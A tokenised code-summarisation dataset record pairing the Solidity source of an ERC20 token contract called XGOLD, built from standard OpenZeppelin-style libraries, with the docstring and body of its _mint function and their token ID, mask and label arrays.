[ 1, 510, 911, 353, 3096, 358, 2078, 316, 326, 1024, 3643, 16, 486, 326, 783, 3643, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 314, 6315, 4285, 510, 911, 24051, 5269, 1011, 394, 510, 911, 24051, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; // generator of the tokenLock address private _owner; bool private _ownable; event UnLock(address _receiver, uint256 _amount); constructor(IERC20 token, address beneficiary, uint256 releaseTime) public { _token = token; _beneficiary = beneficiary; _releaseTime = releaseTime; } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(block.timestamp >= _releaseTime); uint256 amount = _token.balanceOf(address(this)); require(amount > 0); _token.safeTransfer(_beneficiary, amount); emit UnLock(_beneficiary, amount); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } function _multiTransfer(address[] memory _to, uint256[] memory _amount) internal { require(_to.length == _amount.length); uint256 ui; uint256 amountSum = 0; for (ui = 0; ui < _to.length; ui++) { require(_to[ui] != address(0)); amountSum = amountSum.add(_amount[ui]); } require(amountSum <= _balances[msg.sender]); for (ui = 0; ui < _to.length; ui++) { _balances[msg.sender] = _balances[msg.sender].sub(_amount[ui]); _balances[_to[ui]] = _balances[_to[ui]].add(_amount[ui]); emit Transfer(msg.sender, _to[ui], _amount[ui]); } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @title Pausable token * @dev ERC20 with pausable transfers and allowances. * * Useful if you want to stop trades until the end of a crowdsale, or have * an emergency switch for freezing all token transfers in the event of a large * bug. */ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } /** * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } // ---------------------------------------------------------------------------- // @title MultiTransfer Token // @dev Only Admin // ---------------------------------------------------------------------------- contract MultiTransferToken is ERC20, Ownable { function multiTransfer(address[] memory _to, uint256[] memory _amount) onlyOwner public returns (bool) { _multiTransfer(_to, _amount); return true; } } contract XGOLD is ERC20Pausable, ERC20Burnable, ERC20Mintable, MultiTransferToken { string public constant name = "XIDO Gold Game"; string public constant symbol = "xgold"; uint public constant decimals = 18; // Lock mapping (address => address) public lockStatus; event Lock(address _receiver, uint256 _amount); // Airdrop mapping (address => uint256) public airDropHistory; event AirDrop(address _receiver, uint256 _amount); constructor() public { _mint(msg.sender, 10000000000 * (10 ** 18)); } function dropToken(address[] memory receivers, uint256[] memory values) public { require(receivers.length != 0); require(receivers.length == values.length); for (uint256 i = 0; i < receivers.length; i++) { address receiver = receivers[i]; uint256 amount = values[i]; transfer(receiver, amount); airDropHistory[receiver] += amount; emit AirDrop(receiver, amount); } } function timeLockToken(address beneficiary, uint256 amount, uint256 releaseTime) onlyOwner public { TokenTimelock lockContract = new TokenTimelock(this, beneficiary, releaseTime); transfer(address(lockContract), amount); lockStatus[beneficiary] = address(lockContract); emit Lock(beneficiary, amount); } }
* @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements - `to` cannot be the zero address./
function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); }
2,808
[ 1, 2729, 1375, 8949, 68, 2430, 471, 22698, 2182, 358, 1375, 4631, 9191, 21006, 326, 2078, 14467, 18, 7377, 1282, 279, 288, 5912, 97, 871, 598, 1375, 2080, 68, 444, 358, 326, 3634, 1758, 18, 29076, 300, 1375, 869, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
